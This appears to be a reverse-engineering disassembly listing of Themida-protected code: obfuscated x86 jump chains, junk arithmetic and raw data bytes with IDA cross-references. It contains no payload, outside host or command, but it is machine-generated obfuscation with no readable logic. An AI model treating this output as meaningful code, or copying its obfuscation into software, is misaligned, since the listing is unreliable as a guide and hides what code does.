; ---------------------------------------------------------------------------
loc_510C23: ; CODE XREF: Themida_:00510225j
sub esp, 4
mov [esp], esi
push 1F094946h
mov esi, [esp]
add esp, 4
sub esi, 0ACF70BE1h
mov ecx, esi
mov esi, [esp]
push ebx
jmp loc_50A6C4
; ---------------------------------------------------------------------------
db 0BBh
dd 4, 4A6E68h, 241C8900h, 2F6F5BBBh, 83D3F761h, 0BF57FFC3h
dd 0
dd 565EEF81h, 0DF291FD2h, 565EBE56h, 0F7011FD2h, 31FB315Eh
dd 5FFB31DFh, 0FF9B07E9h
db 0FFh
byte_510C85 db 0ADh, 68h, 82h ; DATA XREF: Themida_:00502984o
dd 89000010h, 3468241Ch, 0E95A3E0Fh, 0FFFFFD15h
dword_510C98 dd 24048B66h, 5DB7E953h, 0F2010000h, 0E9D0095Eh, 0FFFF7081h
; DATA XREF: Themida_:0050281Co
dd 12A68h, 240C8900h, 4EC81h, 3C890000h, 25D6824h, 505F48CEh
dd 797D3468h, 0C709582Ah, 23C78158h, 570D4CA2h, 68535F59h
dd 4BA740ACh, 70CB815Bh, 813E0213h, 0C2FACBC3h, 5BD901B7h
dd 0C181D9F7h, 53CC94D3h, 8359CF29h, 48904ECh, 579AE924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_510D02: ; CODE XREF: Themida_:005093CEj
add eax, 4
jmp loc_511A53
; ---------------------------------------------------------------------------
dw 0EA81h
dd 8EFBCF28h, 0E95AD601h, 0FFFF24AAh, 0EE6AE72Dh, 387F057Ch
dd 360D227Ch, 2D0B3704h, 82A2FD0Ah, 5758C731h, 0A5242C81h
dd 0E9532565h, 0FFFF3E34h, 5C5CB850h, 6E902CEh, 0C1FFFFE4h
dd 0E98106E1h, 4B6F009Dh, 0FFF1F2E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_510D55: ; CODE XREF: Themida_:00504BD2j
pop ebp
push ebp
push ecx
mov ecx, 61670F7Fh
xor ecx, 7B9D482Ah
mov ebp, ecx
pop ecx
neg ebp
xor ebp, 0B536B110h
xor ebx, ebp
jmp loc_50A1D0
; ---------------------------------------------------------------------------
db 8, 0CBh, 0FFh
dd 81592434h, 4C4h, 0B3535000h, 8BD888A8h, 0C483241Ch
dd 96A9E904h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_510D92: ; CODE XREF: Themida_:0050A929j
mov edx, 4
mov eax, edx
pop edx
add [esp+4], eax
pop eax
jmp loc_50F10E
; ---------------------------------------------------------------------------
dd 8324148Bh, 30E904C4h
db 74h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_510DAF: ; CODE XREF: Themida_:00516497j
pop dword ptr [esp]
jmp loc_510C01
; ---------------------------------------------------------------------------
db 81h
dd 2C2h, 25A5E900h, 68050000h, 1755319h, 0C6A0E9D8h, 0FE89FFFFh
dd 48F2E9h, 4EC8300h, 1D47E9h
db 0
; ---------------------------------------------------------------------------
loc_510DDD: ; CODE XREF: Themida_:00503868j
inc ecx
xor ecx, 9535C3h
sub ecx, 0A1C8E8A0h
add ebp, ecx
mov ecx, [esp]
add esp, 4
mov ecx, ebp
mov ebp, [esp]
add esp, 4
mov [edi+24h], ecx
push dword ptr [esp]
jmp loc_503F28
; ---------------------------------------------------------------------------
dd 4EC815Fh, 89000000h, 0BA52240Ch, 13570199h, 495AD189h
dd 8105E9C1h, 47E89BF1h, 0E9CF0173h, 0FFFFC1DDh, 4EC81h
dd 14890000h, 0E97DB224h, 0FFFF5F0Ah, 4EC835Dh, 52241C89h
dd 0F2808DB2h, 2E2C070h, 80B3CA80h, 0EA809FEAh, 0CCEA800Bh
dd 0F65AD788h, 0EF780D7h, 0EC81E786h, 4, 88241489h, 0F65266E2h
dd 5A662414h, 88D38853h, 865A5BDCh, 7FF780E7h, 5605EFC0h
dd 0A3E9E689h, 5500001Ah, 2464B3BDh, 5DE8317Ch, 0FF7837E9h
dd 45EC80FFh, 58E328h, 246866C3h, 0C89667Eh, 0DAB524h
dd 0E95966EBh, 0FFFF3149h, 2C4A0559h, 0D8010038h, 382C4A2Dh
dd 241C8B00h, 4C481h, 72E90000h
db 5Ah, 2 dup(0)
byte_510ECF db 0FFh ; DATA XREF: Themida_:00502A74o
dd 669D1C77h, 2414D359h, 1BEDE99Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_510EDE: ; CODE XREF: Themida_:0050D03Fj
xor ch, 1Bh
or ch, 0EFh
xor ch, 2Fh
xor bl, ch
pop ecx
jmp loc_50FFB5
; ---------------------------------------------------------------------------
db 0B8h
dd 4, 48BC501h, 4C48324h, 8B242C87h, 0C4E92424h, 0BFFFFF1Bh
dd 43706B8Dh, 5085E781h, 0F78106D6h, 51E92DA0h, 6390C781h
dd 0D7F72F10h, 0E9D0F797h, 0FFFF3BEEh, 14F7575Bh, 0CF815F24h
dd 5A0E7F9Eh, 9A62E952h, 0EB2CFFFFh, 0EC815B66h, 4, 0FF1D0DE9h
dd 9AC281FFh, 811BC650h, 52C20EEAh, 0FFD58995h, 0E95A2434h
dd 0FFFF5D3Ah, 79CBA2BAh, 5AD03134h, 44E9C729h
db 0CDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_510F6F: ; CODE XREF: Themida_:005048B1j
add ebx, esi
pop esi
xchg ebx, [esp]
mov esp, [esp]
xor eax, esi
xor esi, eax
jmp loc_50F967
; ---------------------------------------------------------------------------
loc_510F81: ; CODE XREF: Themida_:0050C0DFj
mov esp, [esp]
mov edi, [esp]
push 62Ah
mov [esp], edi
mov edi, esp
push ebx
mov ebx, 4
add edi, ebx
pop ebx
add edi, 4
xchg edi, [esp]
pop esp
jmp loc_5157F9
; ---------------------------------------------------------------------------
db 0FFh, 34h, 24h
dd 0FF82E8E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_510FB1: ; CODE XREF: Themida_:00508835j
add ecx, edx
pop edx
xor ecx, [esp]
xor [esp], ecx
jmp loc_50C002
; ---------------------------------------------------------------------------
db 0F7h
dd 3C0C2DD0h, 9D052BC8h, 0E9F2B6B7h, 6BC2h, 0E904EC83h
dd 0FFFF4192h
; ---------------------------------------------------------------------------
loc_510FD8: ; CODE XREF: Themida_:005099E4j
; Themida_:0050FAD8j
push 1F89h
mov [esp], ebx
jmp loc_50777B
; ---------------------------------------------------------------------------
db 89h, 1Ch, 24h
dd 0FF2A7AE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_510FED: ; CODE XREF: Themida_:00517965j
push ebx
mov ebx, 258D4101h
not ebx
jmp loc_506325
; ---------------------------------------------------------------------------
aSsn db 'SéN\',0
align 10h
aUs db 'Ué$;',0
align 2
loc_511006: ; CODE XREF: Themida_:00509D73j
add esp, 4
add edx, 0B34F29F2h
push ebx
jmp loc_515337
; ---------------------------------------------------------------------------
db 81h, 0C9h, 4Dh
dd 811A1E32h, 1F5653C9h, 8AE9812Ah, 0E92B6A00h, 0FFFFA01Ah
; ---------------------------------------------------------------------------
loc_51102C: ; CODE XREF: Themida_:00516B8Fj
add ebx, 662CDC80h
sub edx, 6BDC4642h
jmp loc_50340E
; ---------------------------------------------------------------------------
db 0BEh, 2, 0
dd 0F2010000h, 8324348Bh, 0F2E904C4h, 0D2000046h, 0E99C2424h
dd 0FFFF1A73h, 0E9240C89h, 0FFFF2D10h, 1C8BDD88h, 4C48324h
dd 0EF30FD30h, 0DFF6FD30h, 5366FD86h, 0A00EE950h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_51107A: ; CODE XREF: Themida_:00508795j
mov eax, [esp]
add esp, 4
xchg ecx, [esp]
pop esp
sub esp, 4
mov [esp], ebx
push eax
mov al, 0A0h
mov bl, 41h
add bl, al
pop eax
push ax
push ecx
mov cl, 1Dh
mov ah, 37h
jmp loc_516AB9
; ---------------------------------------------------------------------------
dw 5A54h
dd 1820E9h, 0C6E95500h, 81000050h, 317ED6F7h, 0E9FB3170h
dd 0FFFF8D69h, 8B241C87h, 4892424h, 2434FF24h, 46A9E9h
dd 0E7684000h, 0E9000037h, 0FFFF5BE1h, 1C781h, 3AE90000h
dd 29FFFFC0h, 0E28159CAh, 7BF17BEFh, 3376CA81h, 0D2F759F3h
dd 395DEA81h, 0FCE90754h, 1FFFFA7h, 241C8BDDh, 4C481h
dd 0ED810000h, 15C4566Fh, 8324348Bh, 0BE5604C4h, 4, 555EF501h
dd 42474FFh, 0FCCE95Dh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_511126: ; CODE XREF: Themida_:00511723j
mov [esp], ebp
push eax
mov eax, esp
jmp loc_51445A
; ---------------------------------------------------------------------------
db 81h, 0EBh, 0D7h
dd 176DA5Dh, 0BF575BD8h, 67BA0D16h, 0FACF814Fh, 4F5F842Bh
dd 0FFAF77E9h
db 0FFh
byte_51114D db 66h, 8Bh, 4 ; DATA XREF: Themida_:00502850o
dd 1D666824h, 0C890000h, 0E56AE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_51115E: ; CODE XREF: Themida_:005106EEj
push dword ptr [esp]
pop ecx
add esp, 4
push edx
jmp loc_510866
; ---------------------------------------------------------------------------
dw 3C89h
dd 81E78924h, 4C7h, 4BB5300h, 1000000h, 247DE9DFh, 66520000h
dd 0E96657BAh, 0FFFF6835h
; ---------------------------------------------------------------------------
loc_511190: ; CODE XREF: Themida_:005126BBj
xchg edx, [esp]
pop esp
jmp loc_505399
; ---------------------------------------------------------------------------
db 81h, 0E9h, 0F2h
dd 0F75BEA7Dh, 0B5F181D1h, 0F7057B20h, 2EA6E9D9h, 0E3BB0000h
dd 4B3C0D1Bh, 4B02EBC1h, 0FF1BE3E9h, 0E28952FFh, 4C281h
dd 0C2810000h, 2, 5C241487h
db 2Ch, 7Dh
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
push ebp
push dword ptr [esp+4]
jmp loc_5136F6
; ---------------------------------------------------------------------------
dd 0C381E389h, 4, 4C381h, 1C870000h, 1A99E924h, 3ABBFFFFh
dd 4B06E93Dh, 0EBD1D3F7h, 38E9D3F7h, 83FFFFBFh, 0EDC101EDh
dd 0EAF58108h, 4D23760Dh, 190E9h
db 0
; ---------------------------------------------------------------------------
loc_511221: ; CODE XREF: Themida_:0051257Aj
add ebp, 132D3D55h
jmp loc_5124B6
; ---------------------------------------------------------------------------
loc_51122C: ; CODE XREF: Themida_:005153DDj
xchg eax, [esp]
pop esp
jmp loc_516AD6
; ---------------------------------------------------------------------------
db 0BEh, 4, 0
dd 74010000h, 8AE90424h, 8FFFFF52h, 248B2404h, 48B6624h
dd 70EF6824h, 0C890000h, 34FF5424h, 0C4815924h, 4, 4C181h
dd 52560000h, 15E1E9h
db 0
byte_51126D db 0ACh, 2Ch, 3Ch ; DATA XREF: Themida_:005028B8o
dd 0D828D404h, 0FF2114E9h, 0BD5559FFh, 68FA793Ah, 2937A7BAh
dd 5DEA3175h, 815EF231h, 8F1DF0F2h, 0FFD03114h, 81E92434h
db 9Fh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_51129B: ; CODE XREF: Themida_:0051697Bj
push ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
pop esp
mov [esp], eax
push edx
pop eax
mov edx, [esp]
add esp, 4
sub eax, 0F3366AE4h
and ebx, eax
pop eax
add ebx, 0FFEBC03Ch
jmp loc_51216C
; ---------------------------------------------------------------------------
db 83h
dd 0E98104C4h, 0C261CD89h, 1BF6E9h, 24148900h, 0A56866B6h
dd 89000045h, 53B02404h, 405E0C0h, 34AD3401h, 66DB24E6h
dd 28DAB652h, 805A66F0h, 0C68038EEh, 50C600FDh, 0EC80DDB4h
dd 5E4C02Ah, 289DC480h, 0C68058E6h, 88515838h, 0A200E9F5h
dd 0E981FFFFh, 78D12D1h, 5506E9C1h, 87F72BBDh, 0E9E901FFh
dd 0FFFF4C5Eh
; ---------------------------------------------------------------------------
loc_51132C: ; CODE XREF: Themida_:00504BA3j
mov edi, edx
pop edx
add ebx, 14A72A2Ah
add ebx, edi
jmp loc_50FED9
; ---------------------------------------------------------------------------
dd 5C240C87h, 0FF1786E9h, 80F581FFh, 107C439h, 0B9515DE8h
dd 442C32E5h, 0FF96C7E9h, 0F8F181FFh, 0E9CAABF5h, 0FFFF1C69h
; ---------------------------------------------------------------------------
loc_511364: ; CODE XREF: Themida_:00506916j
push eax
mov eax, 4
add ecx, eax
pop eax
sub esp, 4
mov [esp], ecx
push dword ptr [esp+4]
jmp loc_505359
; ---------------------------------------------------------------------------
loc_51137F: ; CODE XREF: Themida_:0050A850j
mov [esp], edx
mov edx, esp
push 18D1h
mov [esp], ecx
jmp loc_516741
; ---------------------------------------------------------------------------
db 0C1h, 0E7h, 2
dd 3D01EF81h, 0EF81037Eh, 0AFAC0716h, 0FFAD64E9h, 48F59FFh
dd 24248B24h, 0FFBD7EE9h, 64C581FFh, 81DCBF99h, 0E1434CE9h
dd 90E98173h, 1070507h, 90C181E9h, 81070507h, 0E1434CC1h
dd 0EF685D73h, 89000057h, 0BDE9241Ch, 58FFFFADh, 338EB850h
dd 1BE93A28h, 2D000013h, 4, 31240433h, 4332404h, 2C895C24h
dd 5B90BD24h, 0ED8151A8h, 24EA0852h, 0FFD897E9h, 240C33FFh
dd 0E924248Bh, 1E8Fh, 242C3359h, 0E9242C31h, 0FFFFE80Bh
dd 1C281h, 89510000h, 4C181E1h, 81000000h, 4E9h, 240C8700h
dd 2404895Ch, 9437DDB8h, 8E8C124h, 894F7C35h, 1F61E90Ch
dd 1C8B0000h, 6280E924h, 0B8500000h, 0D3C1497h, 3C14952Dh
dd 58C3010Dh, 0FFD739E9h, 79E95EFFh, 30FFFF3Eh, 240C8BE8h
dd 5E08950h, 4, 0D202E951h, 431FFFFh, 24148B24h, 0FF43FEE9h
dd 6A172DFFh, 44E92CA1h, 88FFFF6Fh, 8B5859EAh, 6AE9240Ch
db 26h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5114A7: ; CODE XREF: Themida_:0050A30Bj
mov [esp], ecx
push dword ptr [esp+4]
pop ecx
jmp loc_5137E1
; ---------------------------------------------------------------------------
dword_5114B4 dd 9C241CF6h, 0FF180CE9h ; DATA XREF: Themida_:00502970o
db 0FFh
; ---------------------------------------------------------------------------
loc_5114BD: ; CODE XREF: Themida_:00515AFDj
sub ebx, 5EBB607h
add esi, ebx
pop ebx
add ebp, esi
pop esi
push esi
mov esi, 4
sub ebp, 34550A95h
sub ebp, esi
add ebp, 34550A95h
mov esi, [esp]
add esp, 4
xchg ebp, [esp]
pop esp
mov [esp], ebp
mov ebp, 60455969h
push 0B93h
jmp loc_505D0F
; ---------------------------------------------------------------------------
dd 6857D2F7h, 42E4h, 8B241489h, 0C481243Ch, 4, 0FF2434FFh
dd 815A2434h, 4C4h, 0E0895000h, 405h, 8603E900h, 0EA89FFFFh
dd 0D1015E5Dh, 4BD555Ah, 81000000h, 5109A8C1h, 81E90120h
dd 5109A8E9h, 242C8B20h, 4C481h, 0FF510000h, 59042474h
dd 5C24048Fh, 8904EC83h, 5E542434h, 5EEBE9h
db 0
; ---------------------------------------------------------------------------
loc_511565: ; CODE XREF: Themida_:00504165j
mov esi, 23723A1Fh
add ebp, esi
pop esi
add ebp, eax
push ecx
mov ecx, 51F625FCh
dec ecx
not ecx
xor ecx, 8D7BE01Bh
jmp loc_50567F
; ---------------------------------------------------------------------------
db 83h
dd 0EE8104C4h, 5C547BAFh, 83243C8Bh, 895304C4h, 1F0E9E3h
dd 1C890000h, 5221B324h, 1FE9DE88h, 0B8FFFFF2h, 24E92E38h
dd 5258C521h, 0FF878FE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5115B5: ; CODE XREF: Themida_:00508329j
mov [esp], ebx
push esp
mov ebx, [esp]
jmp loc_50AB0F
; ---------------------------------------------------------------------------
aSV db '\éœV',0
db 0
; ---------------------------------------------------------------------------
loc_5115C7: ; CODE XREF: Themida_:005077CFj
mov ebx, edx
jmp loc_510997
; ---------------------------------------------------------------------------
dw 335Eh
dd 0C31240Ch, 240C3324h, 3A5F35Ch, 54553862h, 0BA52565Dh
dd 25D5498Bh, 89D18951h, 505A59CEh, 0B863B6B8h, 12982D08h
dd 52E94736h
db 1Eh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5115FF: ; CODE XREF: Themida_:005109C5j
inc esi
xor esi, 1AE1B8C8h
mov ebp, esi
pop esi
or ebp, 7EB94F26h
add ebp, 22A36E3Ah
shl ebp, 7
sub ebp, 928FA551h
add ebp, 69A27EF7h
jmp loc_50F3E6
; ---------------------------------------------------------------------------
db 83h, 0C5h, 4
dd 5C242C87h, 1D97E952h, 0C6810000h, 4F1A014Eh, 0C4E9CE01h
dd 57000063h, 5B0EA2BFh, 5B7CE940h, 665CFFFFh, 0F6241C89h
dd 5B662414h, 51BEF380h, 0F580CEB5h, 59EB003Ch, 0FE7DB252h
dd 0A5F280C2h, 0FE03EAC0h, 5D18E9C2h, 5ABB0000h, 214D6B50h
dd 2434FFDFh, 83241C8Bh, 0C48104C4h, 4, 1B11BE56h, 0F681686Fh
dd 65260E79h, 198AEF81h, 0F7017D0Fh, 198AC781h, 0C15E7D0Fh
dd 0BE5603E7h, 3E646A5Bh, 44685346h, 5B494F76h, 5607E3C1h
dd 0D309D8BEh, 72EE812Eh, 0C10C070Fh, 0F68102EEh, 710EA0D7h
dd 5E9F329h
db 46h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5116D7: ; CODE XREF: Themida_:0050C8CEj
add ebx, 0E6D09224h
sub edx, 320A4F23h
add edx, ebx
sub esp, 4
mov [esp], edi
mov edi, 320A4F23h
add edx, edi
pop edi
pop ebx
push ebp
mov ebp, 4
push ecx
mov ecx, 67625414h
sub ecx, 32143917h
sub ecx, 48602439h
dec ecx
sub ecx, 8894C621h
sub edx, ecx
jmp loc_506B62
; ---------------------------------------------------------------------------
loc_51171D: ; CODE XREF: Themida_:0050877Aj
pop esp
push 51B1h
jmp loc_511126
; ---------------------------------------------------------------------------
dd 0F389C689h, 24048B5Eh, 0E904C483h, 0FFFF1393h, 0C768h
dd 243C8900h, 4BFh, 0D68FE900h, 0A368FFFFh, 89000032h
dd 0ABD242Ch, 0E976E35Dh, 0FFFF916Fh, 2434FF5Ah, 0EC83505Fh
dd 24248904h, 4240483h, 0FF5B58E9h, 2C181FFh, 87000000h
dd 0F8E9240Ch, 81FFFFB3h, 4C7h, 195FE900h, 0C3810000h
dd 4, 4EB81h, 1C870000h, 0EE36E924h, 0C183FFFFh, 4EC181FFh
dd 814EB63Bh, 321956F1h, 59CB0161h, 0EB81C301h, 3C5566BDh
dd 8124048Bh, 4C4h, 5B5E5300h, 0E91C7709h, 4CE1h
; ---------------------------------------------------------------------------
loc_5117CC: ; CODE XREF: Themida_:00506438j
sub eax, edi
jmp loc_516A32
; ---------------------------------------------------------------------------
db 89h
dd 0EDE92414h
db 0BBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5117DB: ; CODE XREF: Themida_:00509113j
mov ebp, 29716A28h
jmp loc_506F96
; ---------------------------------------------------------------------------
db 0F7h, 0D9h, 0E9h
dd 0FFFFD156h, 76BD68h, 241C8900h, 0E38012B3h, 0B35350D2h
dd 0DA88529Dh, 5B5AD088h, 0E8C0D0F6h, 2CD0F605h, 34C0FEADh
dd 8BC3306Fh, 0C4832404h, 0F6B25204h, 0C007E2C0h, 0CA8004EAh
dd 80DAF63Bh, 0D33050EAh, 50DBF65Ah, 28AFE9h
db 0
; ---------------------------------------------------------------------------
loc_511835: ; CODE XREF: Themida_:0050BBB1j
push 36ED1849h
pop ecx
jmp loc_505A6C
; ---------------------------------------------------------------------------
dd 0E17CA6BFh, 8BF93138h, 0C483243Ch, 4EC8304h, 68242C89h
dd 1D43h, 89243489h, 0BB5356FEh, 5F4B020Eh, 4245C31h, 242C8B5Bh
dd 3951E952h, 0E95BFFFFh, 0FFFFED62h, 0E924048Fh, 1674h
dd 4C481h, 0EF800000h, 0D32CBAh, 0BEE953F8h, 5AFFFF81h
dd 81E38953h, 4C3h, 4649E900h, 89560000h, 1ED7E9E6h, 0EC810000h
dd 4, 0B8240489h, 2ACE7FECh, 7505E8D1h, 51ABF64h, 0CFD95B99h
dd 85E9C301h, 5D000000h, 4B05E3C1h, 0FF9543E9h, 0CFF780FFh
dd 2881C780h, 0A612E9F8h, 2489FFFFh, 24048124h, 4, 4C3815Bh
dd 56000000h, 4BEh, 5EF32900h, 0E9241C87h, 0FFFFDED3h
dword_511904 dd 24048B66h, 613868h, 24348900h, 24348B54h, 4571E9h, 240C8900h
; DATA XREF: Themida_:00502A0Co
dd 59EAE956h, 0DBF70000h, 53E9E94Bh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_51192A: ; CODE XREF: Themida_:00511977j
mov ecx, 0A92928Ch
add ecx, ebp
jmp loc_51266D
; ---------------------------------------------------------------------------
loc_511936: ; CODE XREF: Themida_:00517512j
mov ebx, esp
jmp loc_5053EB
; ---------------------------------------------------------------------------
db 2 dup(5Fh), 56h
dd 42474FFh, 1E99E95Eh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_51194A: ; CODE XREF: Themida_:0050D7FEj
pop ebx
jmp loc_516BDB
; ---------------------------------------------------------------------------
aXs0m db 'Xé0M',0
align 2
dw 32BDh
dd 2929F40Fh, 525E5DEAh, 0FF33CEE9h, 240C89FFh, 0E800A3B5h
dd 58E9E959h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_511972: ; CODE XREF: Themida_:0050EE84j
mov ebp, 67CC7077h
jmp loc_51192A
; ---------------------------------------------------------------------------
dd 19F68146h, 81158555h, 925E56C6h, 66EE814Eh, 2999B791h
dd 34FF5EF0h, 0C4815D24h, 4, 0A4C7E950h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5119A2: ; CODE XREF: Themida_:005123A6j
add ebp, 0B3B36B8h
jmp loc_50BF0D
; ---------------------------------------------------------------------------
db 81h, 0C4h, 4
dd 68000000h, 1F4Eh, 68241489h, 2AF0h, 68243C89h, 3B700544h
dd 0B2E9515Fh, 81FFFFB4h, 4C6h, 27BB5300h, 4B536225h, 0F701C383h
dd 29C381DBh, 0E9536225h, 0FFFFB3F1h, 0E8885066h, 0C588D0F6h
dd 0FF2967E9h, 59EB88FFh, 6605E3C0h, 28000068h, 1C8A241Ch
dd 2C48324h, 24148653h, 1DE9D2F6h, 0BAFFFF1Fh, 0
dd 131BE9h, 0E1EE8100h, 817D8F1Dh, 209DDBF6h, 6FC58102h
dd 5015C456h, 0CF44DCB8h, 58C5290Fh, 0FF84A1E9h, 70E95FFFh
db 38h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_511A47: ; CODE XREF: Themida_:00509CD2j
mov ebp, 0C5E0F3Eh
not ebp
jmp loc_50476E
; ---------------------------------------------------------------------------
loc_511A53: ; CODE XREF: Themida_:00510D05j
xchg eax, [esp]
jmp loc_51572D
; ---------------------------------------------------------------------------
db 66h
dd 0C166D1F7h, 9BE906E1h, 500001Dh, 0DA40934Ah, 0E958C289h
dd 0FFFFA160h
; ---------------------------------------------------------------------------
loc_511A74: ; CODE XREF: Themida_:005135F6j
push ebp
mov ebp, 52812255h
add ebp, 0BF713E5Bh
add edx, ebp
jmp loc_50F990
; ---------------------------------------------------------------------------
loc_511A87: ; CODE XREF: Themida_:0051460Cj
mov ecx, [esp]
add esp, 4
not bh
mov dl, bh
pop ebx
push ecx
mov ch, 0A3h
shl ch, 8
dec ch
inc ch
xor ch, 0DFh
jmp loc_505115
; ---------------------------------------------------------------------------
dd 41E9815Bh, 13E2101h, 41C181E9h, 5D3E2101h, 846CE955h
dd 0E700FFFFh, 8BF83058h, 0C481241Ch, 4, 0FF4367E9h, 0E9505BFFh
dd 26FCh
; ---------------------------------------------------------------------------
loc_511AD4: ; CODE XREF: Themida_:005092ACj
mov edi, [esp]
add esp, 4
mov ecx, 6BAB5D2Bh
sub ecx, edx
mov edx, [esp]
jmp loc_50D8FD
; ---------------------------------------------------------------------------
dd 8104EEC1h, 40D27EEh, 29F68107h, 1087B18h, 24348BF3h
dd 81E38953h, 4C3h, 4C38100h, 53000000h, 42474FFh, 24048F5Bh
dd 4C3835Ch, 4EC81h, 1C890000h, 2474FF24h, 744E904h, 97BA0000h
dd 298357AEh, 0EA815BDAh, 1, 3A70E9h, 40500h, 42D0000h
dd 50000000h, 42474FFh, 24048F58h, 0FF43FAE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_511B59: ; CODE XREF: Themida_:0050DE10j
add eax, ebp
jmp loc_50C739
; ---------------------------------------------------------------------------
loc_511B60: ; CODE XREF: Themida_:00507139j
pop edx
jmp loc_510A58
; ---------------------------------------------------------------------------
dw 60E9h
dd 89FFFF0Fh, 0CCE9241Ch, 81FFFF8Ah, 0B2479BC3h, 4EC8363h
dd 0BE243489h, 24017CEEh, 348BF301h, 4C48324h, 7ACC381h
dd 0F6662B3h, 686600B6h, 89661978h, 28E92404h, 0F7FFFF0Fh
dd 4ACA87D9h, 0E2C1DAF7h, 0D5EA8104h, 21ACC969h, 24148BD6h
dd 4C481h, 0F6810000h, 173D3B56h, 6AC2CE81h, 50536681h
dd 0FD194268h, 3035584Fh, 0E9307155h, 0FFFF49B2h, 2474FF53h
dd 48F5B04h, 4895C24h, 56E08924h, 4EC81h, 3C890000h, 45CD6824h
dd 895F17B4h, 87ABE9FEh, 0EA81FFFFh, 16AF4F9Fh, 1B40C281h
dd 93E94D7Fh, 8100001Ch, 0A755ADE9h, 81D1017Ah, 0A755ADC1h
dd 5901037Ah, 0E924148Bh, 0FFFFDC0Eh, 0E9243433h, 0FFFF7082h
dd 0BB241C89h, 47F6B12h, 0E95BD829h, 0FFFF14D8h, 24F732Dh
dd 85643572h, 0E951F4D7h, 2C38h, 28B2ED80h, 0F02859E8h
dd 148B0204h, 4C48324h, 0FF6CCBE9h, 0E4D05BFFh, 2DF4E951h
dd 51580000h, 107D3CB9h, 17C0E933h, 28050000h, 5541EB31h
dd 1BA8BB53h, 99BD1EF6h, 0E9D26B19h, 0FFFF1597h, 4C4835Bh
dd 8150CF01h, 4ECh, 240C8900h, 1D214068h, 188FE926h, 86BD0000h
dd 0F714084Bh, 2CD81D5h, 816C8270h, 1A2A37C5h, 52C58135h
dd 89DAEDE1h, 242C8BE8h, 4C481h, 0C5810000h, 72417217h
dd 0FF45E9E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_511CDD: ; CODE XREF: Themida_:0051658Dj
push dword ptr [esp+4]
mov ebp, [esp]
push 23A6h
mov [esp], ebx
push esp
pop ebx
push esi
mov esi, 47BC6951h
xor esi, 66EC7384h
or esi, 31B4F59h
jmp loc_51556B
; ---------------------------------------------------------------------------
loc_511D05: ; CODE XREF: Themida_:005152DDj
shr ebp, 5
inc ebp
xor ebp, 508051B6h
push esi
mov esi, 2A68DE75h
xor ebp, esi
jmp loc_5126C0
; ---------------------------------------------------------------------------
dd 81243489h, 4ECh, 48F5400h, 4B95124h, 81000000h, 6504246Ch
dd 81448E6Fh, 58042444h, 14FC405h, 8104244Ch, 5804246Ch
dd 0E94FC405h, 0FFFF4165h
; ---------------------------------------------------------------------------
loc_511D50: ; CODE XREF: Themida_:00507F44j
shl edi, 1
add edi, 3CD39E85h
mov esi, edi
pop edi
jmp loc_50F713
; ---------------------------------------------------------------------------
dd 0FF0D66E9h, 0E9F189FFh, 0FFFFD391h, 0C330AFB0h, 8BDA8858h
dd 0C481241Ch, 4, 801ACA80h, 91E95AF2h, 42FFFF6Eh, 0C281DAF7h
dd 0BC7BD5h, 34FFD001h, 0C4815A24h, 4, 0FFB097E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_511DA1: ; CODE XREF: Themida_:0050C197j
sub ecx, ebx
jmp loc_512865
; ---------------------------------------------------------------------------
loc_511DA8: ; CODE XREF: Themida_:0050876Fj
xchg ebp, [esp]
jmp loc_503DE5
; ---------------------------------------------------------------------------
loc_511DB0: ; CODE XREF: Themida_:0050548Ej
mov [esp], ecx
push 48B5696Ah
mov ecx, [esp]
add esp, 4
shl ecx, 6
add ecx, 4E2D18A9h
sub ecx, 7B5C7F33h
shr ecx, 4
push edx
mov edx, 0FFFD50C5h
add ecx, edx
jmp loc_50C71F
; ---------------------------------------------------------------------------
db 53h, 0BBh, 56h
dd 81526A2Ch, 0C42C6CE3h, 0ACEB8108h, 0F77F9A1Ah, 0D54FE9DBh
dd 4E04FFFFh, 241C8B66h, 0E902C483h, 0FFFFF9E8h, 0BE56EB01h
dd 791718Eh, 3C23CE81h, 0EE8102B5h, 9D1123B5h, 0FAE9F301h
db 5Ch, 2 dup(0)
; ---------------------------------------------------------------------------
loc_511E1F: ; CODE XREF: Themida_:00512E35j
mov [esp], eax
mov eax, esp
push edi
mov edi, 4
add eax, edi
pop edi
add eax, 4
push eax
push dword ptr [esp+4]
pop eax
pop dword ptr [esp]
pop esp
sub esp, 4
mov [esp], ebx
mov ebx, 3B9C3C80h
sub ecx, ebx
push dword ptr [esp]
mov ebx, [esp]
jmp loc_517E45
; ---------------------------------------------------------------------------
db 49h, 41h, 81h
dd 0F1529FE9h, 24C7812Ch, 12F2D01h, 1423E9CFh, 685CFFFFh
dd 5F39h, 440768h, 24248900h, 4240481h, 8F000000h, 4832404h
dd 48F0424h, 5B6FE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_511E8E: ; CODE XREF: Themida_:0050DE42j
add eax, ecx
pop ecx
xchg eax, [esp]
jmp loc_5160EC
; ---------------------------------------------------------------------------
db 0C1h, 0E6h, 8
dd 8104EEC1h, 0EC6288C6h, 0B5DCE935h, 0BA52FFFFh, 77F90104h
dd 3951E9h, 0E8E95B00h
